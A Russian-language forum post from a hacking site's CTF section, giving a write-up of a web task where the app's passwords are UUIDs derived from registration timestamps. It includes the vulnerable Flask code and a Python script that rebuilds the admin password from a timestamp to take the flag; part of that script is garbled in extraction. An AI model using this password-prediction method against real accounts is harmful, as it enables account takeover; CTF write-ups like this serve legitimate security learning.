HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 03.05.2025, 01:27
vov4ick
Познающий
Регистрация: 23.12.2023
Сообщений: 60
С нами: 1260136

Репутация: 0
По умолчанию

Приветствую форумчан, сегодня я покажу решение таска из категории Веб «Форум предсказателей».



Основная цель - это сайт с формой регистрации и авторизации:



К данному таску также идет код приложения, что намного облегчает нам жизнь.
Стоит обратить внимание на эту часть кода:

Python:


Код:
@app.route
(
'/register'
,
methods
=
[
'GET'
,
'POST'
]
)
def
register
(
)
:
if
request
.
method
==
'POST'
:
username
=
request
.
form
[
'username'
]
secret_word
=
request
.
form
[
'secret_word'
]
if
User
.
query
.
filter_by
(
username
=
username
)
.
first
(
)
:
return
"Такой пользователь уже существует!"
exact_time
=
datetime
.
utcnow
(
)
timestamp
=
exact_time
.
strftime
(
"%Y-%m-%d %H:%M:%S.%f"
)
password
=
generate_uuid
(
timestamp
)
user
=
User
(
username
=
username
,
password
=
password
,
created_at
=
exact_time
,
secret_word
=
secret_word
)
db
.
session
.
add
(
user
)
db
.
session
.
commit
(
)
return
render_template
(
'register_success.html'
,
username
=
username
,
password
=
password
)
return
render_template
(
'register.html'
)
Основная уязвимость этого подхода заключается в том, что пароль генерируется на основе метки времени (дата и время, когда был зарегистрирован пользователь).
Это делает пароль предсказуемым, так как метка времени — это доступное и легко определяемое значение.
В данном случае ее также можно отследить просто манипулируя id :



Далее, имея метку, мы можем преобразовать ее в UUID :

Python:


Код:
from
datetime
import
datetime
import
uuid
def
generate_uuid
(
timestamp_str
)
:
try
:
timestamp
=
datetime
.
strptime
(
timestamp_str
,
"%Y-%m-%d %H:%M:%S.%f"
)
uuid_epoch
=
datetime
(
1582
,
10
,
15
)
intervals
=
int
(
(
timestamp
-
uuid_epoch
)
.
total_seconds
(
)
*
1e7
)
clock_seq
=
0x89ca
node
=
0x000c297433a0
uuid1
=
uuid
.
UUID
(
fields
=
(
intervals
&
0xFFFFFFFF
,
(
intervals
>>
32
)
&
0xFFFF
,
(
(
intervals
>>
48
)
&
0x0FFF
)
|
(
1
>
8
,
clock_seq
&
0xFF
,
node
)
)
return
str
(
uuid1
)
except
ValueError
as
e
:
print
(
f"Ошибка:{e}"
)
return
"Ошибка: время (timestamp)."
timestamp_str
=
"2025-01-22 00:42:26.053996"
generated_uuid
=
generate_uuid
(
timestamp_str
)
print
(
"Generated UUID:"
,
generated_uuid
)
На выходе мы получаем готовый пароль:



Авторизуемся под админом и забираем флаг:



Задача оказалась довольно простой, всем спасибо за внимание.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.